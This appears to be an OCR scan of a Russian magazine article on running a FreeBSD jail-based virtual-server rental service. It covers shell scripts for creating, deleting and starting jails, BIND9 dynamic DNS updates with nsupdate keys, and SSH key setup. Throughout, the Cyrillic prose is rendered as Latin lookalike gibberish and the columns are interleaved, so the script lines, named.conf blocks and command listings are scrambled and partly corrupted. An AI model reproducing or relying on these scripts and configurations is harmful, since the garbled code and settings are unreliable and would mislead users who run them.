CBeTe - C03AaAVlM cepBVlc no CAaye B apeHAY BVipTyanbHblx FreeBSD-Ma­ WVlH. OH 6YAeT nonHOCTbfO aBToMaTVl3V1poBaHHbIM, n03Bomn Vlcnonb30­ BaTb pa3Hbie BepcVIVI BVipTyanbHblx oKpy>KeHVlVI Ha OAHOVI epVl3V1yecKoVi MaWVlHe VI o6oco6neHHbie HaCTpoVlKVI An51 Ka>KAOrO cepBepa. V1 Bce 3TO CnOMOLl.\bfO HeCKonbKVlX npocTblX wenn-cKpVlnToB .

OAI1H 113 CnOC050B

nOAH~Tb

npo<..-ro 3aI'HeTCll, KQrJJ;a KOJll1'ICCTBO BHpTyMbHblX

/usr/jailbase/FreeBSD-eepcHJI.

cepBepoB nepeBaJIHT33 nepBWHAeC5ITOK. OOOTOMY

2. 11 OllroTaBJIHnaeM Ha60p CKPHnToB, KOTOpblC

u ~

~

$$$ B KPI1311CHOE BPEM~

z

FreeBSD-MaIDHHa-31'OHe'I'IUHHoe, KaKnan­

ncpCA pa3Bcp-rbffiaRHCM H HaHMOM SEO-llIHHJ<OB

6YiJYfynpa8JlHThBHpTyaJIbHbIMllcepaepaMH (co­

~

HexpYH~HOHaJIhHoejail-oKpy>KeHHe,KOTOIXJMy

He06xoll,HMO TIUaTC1IbHO npotJYMaTb 6yl[yll{ylO

3tl3HHe/YAaneHl1e, 3a nycK/ OCT3HOBKa H T. JI..)

BhVl:e.neHmo6a..lbHoMapurpyrn3HpyeMhIil:IP-<U\pe<:.

HH$paCTpYKTYPY. Ana HaqaJIa ctPoPMym'lpycM

3 .l1HWe:M HHHI.\Ha..1 i13al.{J.IOHHbl t"! CKpHfIT, KOTOPblH

3a,ayMKa cepBHca B TOM, 'IT06bl Pa3,QaBaTh1<U<l1e

Tpe60BaHIDI K H8weMYcepBlfcy:

6y,l{eT 3anycKaTb Bee cyrn:ecrBYJOLI.{He oKpymenWl.

OI<pymeHlm H3 MaHep HOMepoB II OTeJIe. fUTHeHI'

KpOMe caMoro FreeBSD-ot<py>KeH WI, R nOMeCTHJI B

<PopMhI, nepeBOAlIT'I)'1'Ol(WMZHa HaIl..I KOllleJJeKl1

1. BbJAeJIeHHblH IP-3,ll,pec HD,OMeHHOe HMRll,JI}I KIDK,lIOro OKpy>KCI-IIDI. I1f1.Ul Bbr6HpaeTCH. K.nHeHTOM DO BpeMR 3aITOJIHeHro! ¢>oPMbI Ha HaweM CaHTe, a

~

BHpTfaJIbHaJI

aaxoATITHa caifr, 3anOJIHRer Heo6xCWiMble ITOJUI

KaT<l.>lOr /usr/jailbasecLI.{e HeCKOJIbKO KaTaJIOrOB H

KOH$f.lrypmJ}iOHHblX ¢ai1.nOB, neo6xo,ll;I1Mh!X lVIH

n~aeTDOTBeT IP-a,npecCBOefocepnepa,,l.\oMcH

IP -a.a,pec H3BJJeKaeTOt H3 cneU;HaJlbHorO epaii.na.

N-oro ypoBID! Hnaponb/KJllO'I Kssh-eepBHCY. Oocnc

2. 110JTHaR CBo60,a,a KJIlleHT3 BQTHoweHl1H jail~

ynpaancHHll BHpT}'MbHblMH cepaepaMH: • /usrIjailbase!FreeBSD-BepcHl1-'mCTa.ll c60pKa

qcro OH BQJIeH ,l{enaTb co CBOUM OKppKCHVleM Bce,

oKpy>KeHlffi. 3ToSHa'UIT- HHKaKHX unionfs H

FreeBSD, KOITHPYClTII BKa)K,lI;Oe OKpJ?KeJUle ITpH

'fTO~e3a6JlaropaCCYAHTCR-JX)8HO.a:01'Oro

nullfslVlli Bcero, KpOMe apxHBa nopTos. Bo Bpe.M)I

ero C03AaHMH.

MOMeHTa, rrOKa He HacrynHTl:lpCMH C'he3)KaTb, TO

COMaHIDI HOBOro cepnepa OKpy>KcHHe nOJIHOCTblQ

·/usr/jailbase/distfiles-nepCIDl-MOHTl1PYeTdi

ecThHCTe...eTepoKapeH,ll,b1,}'Iffi3aHHbli::fKJrneHTOM

1< /usr/ports/distfiJes KCl)f(.z:lOro Of(pymeHIDI npH

BOro-IOM l13n<lIIeH pemClpaw'IOHHOf'l cPoPMhI. no HCl'e'leJoJJ.U03TOrocpoKacepBCpOCTaHaB1IHBaeTC.IIH y,n;8JIReTClI.

KomrpyeTC51 H3 cneQHMbHoro KaTMora. 3. 06ll.\He KaTaJIorn/usr/ports/distfiles 11 / usr/porrs/packages,lVlR BCex UKp)')KeHHH.> 'JT06bl

nOMOlUH nullfs.

DOPT, sarpy»<eHHbIti Op,HHMH3 KJIl1eHTOJ3, aBTOfl1a­

K /usr/pons/packages Ka)K,iJ;oro OIcpY}l(emlJl npn nOMOIl\H Ilullis.

·/usr/jailbase/paekages-BepcHll-MOHTHpyeTOl

Y1.D.eH BHpTyMbHhtxOTeJIeH,QaJIeKO He Hona 1-1, no

rnqeCKH 6bUI,nocryTTeHAPyrnM.

eyrn, npe.a:CTa.6JUIeT c06oti: npl1MCp ,,06Jya'iHOH 06­

4. AB-roMaTH3HpoB3HHoe C03AaHl1C, y,ll.aJlelffie,

·/usr/jailbase/db-6a3allaHHblxjail-oKlJY)I<e­

pa6oTlQ1.aaHHhlx>,~pedia.Qrg/wiki!Clolid

AMH. B nepaOH KOJIOHKe ncpeql1C.IIeHbJ IP-a.a,peca

Bcex oKpy>KeHHi1, BO BTOpo» -6a30BbIH KaTaJIOr (HanpHMep, /usr/jail), BTpeTbei1 -CeTeHOH

Kal<eepBHe. YTOObl opraHH30BaTbCBOH 6H3Hecno

3anyO<H MOHlITOpKHrcepBepoB. 5. OOAAep>KKa pa3Hbrx nepcilll: BHpTYaJlbHbIX FreeBSD-cepBepoo H3 Op;I-lOH $H3lfY.eo<oH MamIDIC. 6. B03MO)l{HDCTb 6blcrporo nepeHoca BHpTyaJTb­

ctta'le B apeH,ll,y BMpTyaJIhH hlX FreeBSD-ccpaepon

HOro cepoepa H3 ,a,pyroi'.j ceTeBoH nHTeP4>eHc HJI}l

JUITOH -

OTTe6H nmpe6yeTdi HaJlWlUeN-ro KOllll'iecTBa

LIllO<.

BC€AbMOH -THnaKKayrITa, B BOCbMOi:t- BpeMif

computing), KOI'Aa Heo6xo,lJ.HMOe KJIHemy npol'paMMHoe 06ecne'ieHHe npeAoCTaBJIReTC1I

6errhIX IP-aApecoB (no (lAHofltyHa K~hlH BHpTY­ aJIhHhlH

cepeep),.AOMeH, 3at<penJIeHHWH 3a O,D,HHM

HATeP/l>eik, B l.JeTBepTOH - .ll0MeHHoem.'l1I, B

nepcIDI, H meCToH -e-mail BJIa,D,eJIbI.\a,

7. f;.Ke.n;HeBHbIH OOKafI Bl1pTYaJIbHbIX eepBepoB.

HCTe'!eHWI CTpOKa apeH,l(bI B cPoPMaTe rrMM,lI.lll.{­

8.)l,ocryn no ssh cayreJm1$HKauHeH Ha OCHOBC

YMM,B.l\:eBHToH-cocroH}me.

H3 AUX, a TaIOl<e6a30BOCnOHHMaHHe np8HiVfnoB

KJllO'IeH. Kmo-q reHeplipyerol80 J3pewl. C03,lI.aHlliI.

·/usr/jailbase/defaults-,ne¢>Q..1TOBble3HaQel-OOl

pa60TblFreeBSD.

ImpryaJIbHOT'O cepBepa H OTtlaeraI KJIHeH1Y no Imps.

Aim Pa3JlWlHbIX no.'ICH KOH4>urypau;HoHHOrO ¢afuia.

9. Pa3HhlenmwalillaYHTOu: trial-AAA.llnyxnHeB­ HOro Hcnbrramm, base-06bI'IHwi1, extra, vip HT.A.

HorpaI'U1'1eHIDIMH AM: Pa3HhlXTHnon aKKaYHTOB:

HEMHoro TEOPI1I1.l1nl1 C"'OPMynI1PYEM TPE60BAHMR nOJlb3YHCh3Hi:lHH$lMH.nO'lepn·

• )usr/jailbase)conf) - K3TaJIOrC HaCTpDWKaMH

Tenepb notJYMaeM 06'·tH$pacrpYKTYPCcepBHca

$aHnb! trial, base, extra, vip, J<OTOpble 6yp;yrnpoI.JH­

H)'Tb!MH H3 rrpoUUJOM Moe" craTbH, 0praIDI308aTh

H 0 TOM, KaK peanH30naTb Bec ncpe'U1CJIeHHble

TaHbI CKpHIITOM 3anyCKa BHpTyaJlhHOro cepllepa.

cepBHCHeT3Ky>KH CJ!OlKHO. OKp)')KeHWijaiJ

Tpe60n3Hlffi II OCTaBHTh3al-1eJl Ha6Y,lQ'lllee, TO ecTb

nQAKyII3IQT CBoeH "poCTOTOH tl nerKOCTbKl pa3Bep­

06ecne'!HTb a03Mo»arOCTb ,a,06aBJIeHIDI HOBhlX

$aWi db - 6a3a ,naHHbIX wm BCex BRPTYaJU>HbIX cepBepoB B epopMare passwd (noM, pa3J.{e.n:eHHhle

<PYJU<I.tIIH B CJl)"I8e He06xo,nHMOCTH. ITOCJle,ll.OJInIX

t\BoeTO'IHCM). ,ZJ;eBHToe nOlle «COCTORH HC.» npeA­

CJl,enaHo! BOT TOJlbKQ ,1l0JJ.roTaKOH cepBHC He rrpoTIl­

pa3MbIlllileHHHH npHwC1I K BapHaHTY, KOTOPbJH He

Ha31-1aQeHO,lVUl. ynpomeHIDI3AMI1HHCTpHpOBaHHll

HeT. AnMHHHCTpaTOpbl Ha~n-iyrfVJeBaTh B MOHI1TOP

TOJlbKO HarmJJ.l:eH Hnpocr, HO H.AocraTO<lHOJlCroKB

cepBcpoB H MO)KeT rrpHHlfMaTb ClICtJ.YlOIl\He 3Ha'!e­

H3 BTopoi1 tJ;eHb pa6oThJ, KJIHeH'fbl 33BaMlT /Kana­

peaJ!113aJ..U111:

HWI: none-He CytUCCTByeT, disabled -

6aMI1 0 HH3KOH npmt300,n:H'renbHOCTH, a cepnep

I. Co6HpaeM FreeBSD-oKp)'>KeHHc B KaTaJIor

OTKJIIO'leH> ok - oKp)0KeHHe coo.n;aHO 11 rOTOBO

TblBalHUl: HeCKOJIbKO CKpHTTTOB-06ID130K -

~128

H )'.IelID

BpeMeHHO

XAKEP 05/125/ 09

!


K3anycK)' (rull1 y>Ke pa601'aer). B Cl3emeYCTa­ r--I-_--'-HOBlleHHOH

c",creMe, nOKa eme He cymeCTByeT

TenepI, OCBo60.n;HM TO'IKH MOHTHpoBaHH.Il:AHcr­ epafuIoa H naKeTOD OTJlHlllHero Mycopa:

ali pTyaJl1>HblX cepaepoa, 3TOT epafuI HCnOJlIDICT

,AM 06HOBJleHHJ:l30H. n03TOMY CKOnl1pyeM

poJIb 6a3bl.n;ocryr1HhlX IP-atWecOB, Kor.n;aK<UK.lI;illI

# rm -Rr $JAIL/usr/ports/distfiles

CTpoKa He CQlI,epiKI-lT .n;pyrHXnOJleH, KpaMe nepBoro

$JAIL/usr/ports/packages

H.lleBJlToro (npHMep: 192.168.0.1---none). CKplirIT,

# mkdir $Ji\IL/usr/ports/dist.files

C03.ll3JOlUHH HOBhlH cepBep, npaCTo HaxO,lI;HT

$JAIL/usr/ports/packages

HX

1I Cp Knsupdate.

1<

!usr!jailbase/

Da30BoeOKp)0KeHHerOTO£0! KOHepHrypauI1OH.HblH.

3a.rw.weM BHero:

BHA: 192.168.0.1 :/usr/jail:edO:jail.host.com:7.1­

ep3iln 6y.n;eT OTJIwr3ThCl,lVlJ1 K8)K,l1;oro OKpy»:eHH}[,

RELEASE:vasya@maH.ru:trial:0903031700:ok).

nO.3lToMy3a60Tyo ero C03,ll.3HI1H MbI B03J10IKl1M

B,AaJlhUeHWeM CKpHITT 3anyCKa B.HptY<l.>1bHbTX

Ha WIeQI1 cKpl10Ta addvserver. Ooi1AeM AaJJ:bWe H

# vim letc/namedb/named.conf / / r10:)Bom111 ynpaBml,Th C'<lpBepOM

cepaepoa HaiitleT3anliCbCCOCTO}lHHeM ok, rre­

tJ;o6aBHM KaTaJIOrn /usr /ja ilbase/ distfiles~BepOUl:

KO c.:

pei1.Aer B KaTaJlOr, nporrHcaHHhlH BO BTOpoM nOJle,

1'1 /usr /jailbase/packages·Bepcl15l, KOTophle 6y,ayr

controls {

uaHtJ.eT KaTallor H)l)KHoro OKpj?KeHWI no IP-a.n;pecy

IlQ!UUllOQaTbCR K OKpJ?KeHWI.M CnOMOD.J;bIO nullfs:

inet 127.0.0.1 allow { 1ocalhost; } keys ( "NSUPDATE"; };

113anyCntT a HeM BliJYIYdJlhHblH cepBep.

C06MPAEM BCE BMECTE nepao-HanepaoMbI

TOllb­

nORClllbHOrr 11"dlnl.1HU

# mkdir /usr/jailbase/

);

{distfiles,packages}-'uname -r'

/ / 06bRBl1M KlllO'-t, 3Ha'-leHI1€ onUI1!-1

.llOJDKHbI C03,llaTh 6a30Boe OKpj?KeHMC B KaTaJIOrC

sr~c.ret 110lFHO )~3.1'j"h It:3

c'rpOKVl 'Key,

/usr/jailbase/FrecBSD-BepcHR.)J.Jm 3Toro nepexo­ .llHM B lusrlsrc 1'1 BBQllHM C1Ie.DylOUO'JO nOC1le,llona­

3aTeM C03A<lAHM q,afuI Ae9om'0Bbrx 3Ha4eHHH

<!>dl7l.TIi;i Knsupdat.€. ,,157+ 36 521. pri vate

AM CKpHrITa C03AaHWI [mpTYaJlbHOro cepaepa

key NSUPDATE {

TeJlbHOCTh KOMaHA:

(addvserver):

algorithmHMAC-MD5.SIG-ALG.REG.INT; secret VFSl+ZldDcPjhDzl+eG3Jw=:;

it JAIL=/usr/jailbase/FreeBSD- 'unaroe -r'

# vim lusr/jailbase/defaults

};

# mkdir -p $JAIL

It nec}!o11ToBblt! CeTeBOI1 I1HTep<peiifc. IIa

/ /

# make world DESTDIP.:SJAlL

Hero 6YllYT eemaTloC.R DHODb C03.QaHHble

JlOJ).lII€ll 3aM€H11"l'b Hd CBOM ,nOI1€H

11 make distribuLion DESTDIR:$JAIL

OKpY)f(eH(.olR.

zone

Q6bJ1BI1M 30Hy ho",t . com, Km."'opyn 'nl

~host.com"

type master;

IF=nfeO BMoeM pacrropIDKeHHll HaxQll,HTCR MaWHHa C

M necPo11ToBbll71 KaTa110r AJlfl B:HpTYaflbllblx

file

FreeBSD 7.1, no3TOMY KaTaJl.or 6a30BorooKp)')Ke·

cepBepoB.

HIDI rroJI)"IHll HMJ'I. «/usr /jailbaselFreeBSD-7.1­

JAILDIR=/usr/jail

allow-update { key "NSUPDATE"; }; notify yes;

~host

.com.db";

RELEASE". BOH,lt;eM BOKp}')KeHHe» npoBe,D;CM 00· 308)'10 KOH(imrypal.\~no vlOMeHHoe HM.fI» IP-a.n;pec

¢lopMaT6aJbl,ll,aHHl:>IX BHprya1lbHhlX cepBepoBl'I

! / 06bRBVlM o6paTEyil 30HY, B KOTOPOM

Ha .n;aHHOM .3ITalle He HMelOT 3H3'1eHHSl):

OllHcaJl BhUl..Ie. Qn.le<ryJlHU1b, trrOtrnCTal'l6aJa.n;0JDKH3

.o;OJ1IKeH 6b1Tb npOnJ1CdH cerr.leHT, BbI,IJ,e­

BbIl1Ll1,ll,e'IbKaKHa6opJarO.1ceHB1'W!lP :::::::none,

ll€HHhlH ;'lllSl 'i'BOl'l"Y. J3HemllJ1X IP-an,pecoB

# jail $JAILbase.jaill9/. )68.0.1 /binfsh

nOQWIOI13aIDICl1 Ha KIDl<.AbIH,AocryrIHhrH BHeunnrn

zone" 67 .16 .172 _in-addr. arpn"

# Lauch fetc/fstab

IP-atqJ€C.Boopa6oTyno€eJaflO1D-leHiOOB03hM}'rHa

11 newa1iases

ce6l'1 COOTBeTCrBytOlUI1eoq>J1I1TbLTencpb yHac ecIb

#

tzse~up

# echo nameservel' 1.27.0.0.1 > / ctc/resolv.conf

B

KaTaJlOr /usr /jailbase:

OTKpOeM KOHepHr / etc/namedb/named .conhr

nepByro CTpOKYc COCTOJ:lHHeM none H 3anOJllUleT

ee (ror.lla crpoKanpHHMMaer npl1MepHOTaKOI1

Knsupdate. + 157 +36521.priv3te. DHH nOHa~ ,l106J1TCJ1 CKpl-lnTaM addvserver Ii delvserver

type master; file "hosL_com-r€verse.db~;

Bee He06xOtlHMoe,!VIR COJJJ;aHIDIIi MaHHnyJII1poBa­

HlliI BHp1YaJlbHblMH cepaepm.m,-ocra.JIOCb TOIlbKO ycTaHOBfJTb H HacrpoHTh DNS-cepBep ua <pH3H'-Iec­

allow-update { key " NSuPDATE " ; ); notify yes; };

KOI1 MaurnHe. OH H)')K€H IVl5I npHBR3KH,AOMeHHoro

Mhl

C1:laH.n. rc.conf He TporaCM, OH 6y,lt;eT renepHpo­

HMeHHKI<a>K.l\OMY13HpTYaJIbHO~f)'cepsepy.

BaTheR eKpHnTOM addvserver aBTOMaTIl'leCKI1 AJUI KaJKAOrO BHpT)'"fu1hHOro cepoepa. flapOJ1b eynep­

6YAeM HCTI0Jlb30BaTb BIND9, rrOCKOnbKY3TO e,!J;HHC­

HacrpOHM 30HhI host.com (JImca.JlbHhIe y>I{e cyII1ecrBj'IOT) :

TBeHHblH BMCIDle:r-.lbm DNS-cepBep, n03BOJUDOIU;HH

1l0JIb30Bare.JI.R He YCTaHaHJtHBaeM: AJUI OKp~eH>rn

06HOBJIJITb 30HbI, He ocraHaBJJ.HBillI pa6my AeMOHa.

6y,ll.CT CO~aBaTbCfI napa KJI10'leH, I1l\OCTyn no

n POHAeM Qepe3 npoCThIe ;;:rraJIbl ero HacrpoHKI1:

# vim letc/namedb/host.com.db $TTL 86400

napoJIJO no YMOJl4aHI1lO 3aKpblT. Orpe.n;aKTMpyeM

1. CreHepJipyeM napYKJIIOQeH, KOTophIeHe06xo.n;H­

@

/etc/motd 11 BKJllO'IHM ty,lla BCiO He06xo,1J.l1MYK>

Mbl tvUI ayreHTIlepmcaWUr KJIlieHTa, nO)KeJJaBUIero

HH4>oPMaLU1lO 0 nOllb30BaHIiH cepI3WCOM:

06HoBHTb 30HhI:

1 28800 7200 604800 86400 IN NS dns

lN

dns

# vi

/e~c/motd

$ dnssec-keygen -a HNAC-MDS -b 128 -r

IN 172.16.67.1

SOA

@

rool

A

/dev/urandom -n USER NSUPDATE

BblH.D.eM 1'13 OI<pj)KeHH.Il:, Ha6paBexit. CKomlpyeM

,&epeoo nopTOs }{3OO30BOH CHCJ'eMbl BSJAIL/usr: #I cp -a /usr!ports $JAIL/usr XAKEP 05/1251 09

# vim letc/namedb/host.com·reverse.db KOMaH.ll:a 3anHIlleT B TeKYIUMH KaTaJlOr

$TTL 86400

tJ;sa ¢aHJla c HMeHaMH npliMepHo TaKoro

@ IN SOA @ root 1 28800 7200 601800 86400 )

Bli.n;a -

Knsupdate. + 157 +36521.key H

~

129


...-... "

ocal host) -l-)­

J 11llilloca IhoSt;)-l-'­ (0:0)-> jls lID IP Address

;-(0:0)-> cd /usr/jallbase

!- (ji III@localhost)-(jusr/ja1 1base)­

Hostmlllle

10 9 8

172.16.67.5 172.16.67.4 172.16.67.3

jailS.hast.com jail4.hon.com

jai 13. host. com

7

172.16.67.2

~a~12.host:.coll

1_(0:0)-> ls -1

otal 12 rwxr-xr-x 17 root wheel 5128 23 Ile;l H:Gt F~so-7 1-RELEASE/ rwxr-xr-x 2 root wheel 5128 5 ~ 14:2> confl -rn-r--r-1 root wheel 1878 5 aI+I :4:0] d> I-rw-r--r-1 root wheel 1998 N E;l n.:» defatJlts rwxr-xr-x 2 root wheel 5128 5 <!liP U:ZS chstt11es-7.1-RELEASE/ rwxr-xr-x 2 root wheel 5128 5 a:;p 1.1::25 PKkages-7.1-RELEASE/ 1- (jim@.localhost)-(jusr/jailbase)­

~

BblBOA

jls

Al1R

1

'1

mint

Bl.1pryallbHblX cepsepOB

IN

NS

dns

IN

PTR

dns.host.com.

CrPYKTypa KaTaJlOra lusr/jailbase

.uo5aBIll'ICM

HOBU~:

cepBep D 6.a":"

YKmKH B HMX Bee XOCThl, HMelOll\He CTaTH'IeCKHe HMeHa, H 60JrbllJe 3n-t $ati.lbl

~

MbI 1pOraTb He 6y,aeM, 33 Hac Bee c,nen:alOTCKpHnTbI. 3arrycrHM bind:

UPREQ=SJATLDASE/upreq echo "update add $HOSTNAME 86400 ;._ echo ·send· »

'it letc/rc .d/named start

;,o:~

nsupdate -k SJAILBASE/Kl"'sllpda- '2.

CKPHnTbl

LJ:To6b1 Ham cepBHC COOTseTCTBOBM SeeM TIpe.lI.1>5IBJleHHblM

S~~·

> SUPREQ

SUPREQ ~ .

pri

Vi'ltp

$UPRF.Q

rm - f $UPRF..Q

Tpc60EaHlliIM IT cPYHKl{HOHHjXlBaJI npaalfJlbHO, He06xoMMo HanHcaTb, KaK

II 3dnl1Ci>lSClt?l-1 !'ItiI.fJOPMi1~MIO 06 o;:;:p":,'!:€:·r.~>:

MMHHM)'fIi, BoceMb CKpHTITOS:

sed

B

,n;<'.':iHb:X

6a3Y

·/~$lP.*/sF.#$IP:$JAILDIR:SIF:SHOSTNAME:SOSVER:$EMP.

1. addvserver- C03,l:\aeT BHPTyaJIbHb1l1 cepBep rryreM Ao6aaneHI1R HOBOro

IL: $ACTYPE: $TIME: okll" SDB

0Kpym.emrn, OGHOBJUIeT jusr/jailbase/db, 1l06aBAAeT Ji}')KHYlO 3arnlCh BDNS­

mv S{DB}

.ne~...

:>

S{J:3} . ne\·/

$DB

B03BDJuaoal1 IP cepBepa

Ta6JIHl{bI.

~

2. delvserver- y.aaJHleT BHI)TyaJIbHbJA cepBep, npHHUl1n .1leHCTBHJI

echo $IP

o6paTHblH. 3. disablevserver- OTkJJlOQ<1eT nap1Y<111hHblR cepBep, He Y~aJlfVl ere (q,naf

'disabled').

Clq)JtUT Up"HIMaeT WecTb apryi\teHTon (AOM€HHoe HMH BHJITYa.lbHOro cep­ sepa, BepOUl OC, e-mail BJla.a:eJIbu..a.THnaKKaytrra.BpeMJlHCTe.l.eHIDI cpoKa

4. enablevserver-

BKllfQ'iaeT OTKJlfO'l.CHHblH SHP1Ya."bHblH cepsep (CTasm

apeHll.bl, .paH.n e ny6J1H'-IHbIM I(JJIO'IOM KJll:leHTa) Ii soospamaerIPHOBOro

¢J13r'ok').

cepsepa.

5. startvserver-3anyCKaeTcytJJ;eCTDYlolllJIH BMP1YaJIbHbIH cepBep, CBepIDIcb

CKpl1UT delvserver BblIlonWl.eT o6paTH)'lO rrpOU;et\YPy. CHa'l.aJla OH HaxotQIT

c/usr/jailbase/db.

cepaep n 6a3e db, nponepH:eT, cyrn:eCTByeTJUtcepBep Boo6m;e (craTYC He

6. stopvserver- ocraHaBJlliBaCT cym.eCTsYl0Il.\HH BHP1YaJibHbIH cep13ep.

1l.0JDKeH 6bITb none), a 3aTeM BbrrIOJlWIeT CJIe,l(ylOu.wro nornetJ.oa3Te.11.bHOCTb

7. vservers-cKJlHnT.lJl[fI KaTWlora /usr/local!etc/rc.d, KOTOpblH 3anycl(aeT

tleHCTBHH (nepeMeHHaR STRING -3TO CTpoKa cepsepaH3db):

BHpTyMbHbIC cepaepa BO BpeMR JarpY3KM CHCTeMbl HOCTaHaBJIHBaeT 130

# vim lusr IloeaLfbin/delvserver

apeM!l1ll8T,Zta}'H8.

8. watchvservers-clqlHnT, HcnoJUUleMblH croo, cnetJ;HT 3a COCTO.l'lHHeM 13Hp­

#

1)'aJlbHbiX eepaepon wOCTaH<1BJ1HaaeT I1X Bcnyqae He06xoAHMOCTH (HanpH­

JAILDIR=' echo $STRING , cut

Mep, npH I1CTe'l.eHUH CpOK<:l apeHAbl).

rffi

Y,n,a]'.I1E-}l

~Rt

cepsep ~d

' :' -f 2'

$JAILDIR/$IP $JAILDIR/${IP} .ipfw

no-xopowet.ty, oepBble weCTb CKpHmOBJI)"lwe 06'be;:J;HHHTb BQAHH, npu­

# Vj\{iJl>1eM cepBep 1-13 6Ct3hl f)NS

HI1M3KllltUH aprYMeHTbl add, del, stan 11 stop, HOlVlJ'! coxpaHeHillI npocTOThl

HOSTNAME= 'echo $S'l'RING

H3JlOW;eHIDI OCTaBllM I1X BOT,D,CJlbHbJX ~iillax.

UPREQ=$JAILBASE/upreq

J1'raK. CKpHrIT HOMep O,/J,HH. addvserver (3.lI.ecb w.llanee -TOJIbKO KJUO'leShle

echo 'update delete $HOSTNAM2 A" > $UPREQ

cut -d ' :' -: 4'

I

3JIeMembl CKpHnTOB; nOJIIlble sepcHH Thl Haff,lXeWb Ha npHllaraeMOM K)K)'pHa­

echo 'send" »

JlY,/J,HCKe):

nsupdate -k $JAILBASE/Knsupdate.

$UPREQ

* .privale

$UPREQ

rm - f $UPREQ 1# vi m lusrILocal/binlad dvse rye r

II '::lc-r6.H&BnJ1Ba811 ;::J151. cepnepa C']'dl'yC none

iI HaCTpal'lBl.IPM nepfi>ME>p.Hble

NE'i~STRING='echo $STRING

HOSTNAME=$l; OSVF.P.=S2; BMAII,:o$3; ACTYPE"'$·L TIME=S5;

sed

KEY=$6

mv ${DB} .new $DB

~r$IP.

I

sed "/SSTATUS/sHnoneJ!." ,

*/sH$NE'..JSTRIKG#" $DB:> ${OB} .na-",

JAILBASE=/usr/jailbase DB=$JAILBASE/db

CKpHm disablevserver, Ilpe,.o:Ha3Ha'leHHbIH,/J,Jffi BpeMeHHOrO OTKJlIO'leHHfl

1I 'IJ.1TtteH

BlfPTYaJlbHorOCepBepa, oqeHb IlOXQ/K H3 delvserver, CTeM HCKJIIOQeHl1eM,

.n~1>C:lTOabie HaCl'pOMKl1

SJAILBASE/defaults

'ITO OH HC Y,lJ,aJUtCT cepBep, anpoCTO CTaBHT Ha Hero q,J'Iar ",disabled». To eCTb,

HaX(lj.(l1M CBo60,Qliblii IP~a)lpec

nepeMeHHaRNEWSTRINGnpHMeTBM:«NEHSTRING=' echo $STRING

Clqmnr enablevserver- 6paT-6JIHJHeu disablevserver, e,1ViHCTBeHHoe OTJIH­

~ KOI!.MpyC~1 QKPY:"l;'Hl1C'..

'IlieKOTOporo-yCTaHODK3 $nara 'ok' BMecTO 'disabled'.

cp -a iI ... Vi

sed

$JAILBASE/E"reeBSD~$OSVEP.$JAILDIR/$IP

C03,n:af>M ~ml hero <}<1Clll l-1HlI\TV1anW:;ldT\I1l~

RCCONE"=$JAILDIR/$IP/etc/rc.con( echo "network_interfaces=\· \." » echo ":::-pcbind_eoable=\ ~NO\'" »

echo "sshd_eniible=\ "YES\"" » "I KOr:Mpy€ t ·j

:Ty5m1'-lHI>i!1 KilO'! B

n

/$STA'I'US/s#lFdisabled#" '''.

ClqmnT starcvserver­

,[1,06011 bRO npH:MI1TI1BeH. 0 HHIl.\eT nepe,LtaHHblH eMy

lP-ap;pecB6a3€. npoaepSieTCepBepHa roTOBHOCl'b (cra1Yc 'ok') H3anytKaeT ero. Ha60p npaBHlfHOMep4 (ruleset4) AJUI" KOMaHll,bldevfs C03ll.8H cneU;H­

echo "hostname=\' $HOSTNAME\" " > $RCCONF'

~

I

STRING=' grep , : none$' $DB' IP= 'echo $STRING I cut -d . :' -f l'

$RCCONF

aJIbHO,lt,Jlfljail-oKPYiKeHHH H ~ep)KHTCSI Bq>afuIe / elc/defaults/devfs. rules. Y:ro6hl CKpHIlT pa60Tan KOppeK1"HO, 3TOT<pa.'tn Hc06xQ,ll,'HMO nOJlO)l(HTb Blete.

$RCCONF'

$RCCONF

KaTanaI' /root.! .ssh

# vim lusrItoea I/bi nlstartvserver Ii ~'3E1neKaeM AdliHble, HeOOXO,'1,VM"'P. ,':VI? 3anycK,J

mkdir -p $JAILDIR/$IP/root/ .ssh

JAILDIR='echo $STRING I cut -d ':' -f 2'

cat $KEY »

IF='echo SSTRING I cut -d':' -f 3'

130

/root/. ssh/authorized_keys2

XAKEP 05/1251

091


·~

,WTliUlhOitF(-r (0:0)-. ps auX .. ,

oot 10lH 0,0 0.1 10171 0,0 0.2 oot lOU) 0,0 0.1 oot -1025'> 0.0 0.1 oot 10ns 0,0 0,2 oot 10)27 0,0 0,1 oat 10l~8 0.0 0,1 oot 10458 0,0 0,2 t 10470 0,0 0,1 DOt 10541 0.0 0,1

00'

t

11)001

001 root root root i.

10613

3184

928

Sn2

12U

H~ ')96

U84 57'>2

Has ??

Is

9%

??

9-14

~~

IS 15

nil

1184 >7'>2

'>44

243S

106~ 0.0 IOH4 0,0 10756 0.0

0,1 0,2 0,1

3134 >75, H12

IOn9 0.0

0,0

488

UH

Is

7~

S.

15 55

?1 ?1

Is

15:16

U

15:l6

p4

0\...

1$:l9

?1

IS

n

I. 5s IS

~ ~44

11

Has

996 H8

15:26 15:26 15:26 15:26

15:26 IS:,6 15:26 15:26 lS:1(, 15:26 15:26 1S:l6 15:26

?? ??

'.196

94<t H3S

0,2 0, I

S. I.

??

)2U

1184 57"

0,0 0.0

~~ ~,

??

B cnl.1CKe npOLteCCOB - nRTb TOJ1bKO 4TO

o 00.01 /U5r/$l>jn/$ysl,,~ ­

000.00 lusr/shin/sshd

000,01 luu/obinlcron -s

o 00,01 o 00,01o 00,01

o 00.00

lu<r;'bin/s~I""" ­ lu,r/<b;n/nhd !usr!,b;n!cron ., !u<r!5b;n/<ysl"9'! _ !usr/oMn/..M !usrlsbin!cron -s !usr!5b;n/sys1oq<1 ­ /",rlsb;n! ..hd !",r/,bln/cron -I /",r/sbfn/oyslog<! ­ /",rlsb1n/5shd lusr/sb1n!cron -I

o 00,00 000.01 000.01 000,00 000,01 000,01 000.00 o 00.01 o 00,00 grep

3any~eHHblX

172.16.67.1 :!usr/jail 172 .16. 67.2 :/usr/jai 1 172 .16. 67.3: /usrjjai' 172 .16.67.4 :!usr/ja; 1 172.16.67.5 :/usr/jai 1 172.16.67. 6:/usr/jai' In .16.67.7 :/usr/jil; 1 172.16.67.8 :/usr/jai' 172 .16.67.9 :/usr/jail 72.16. 67 .10:/usr/·~i

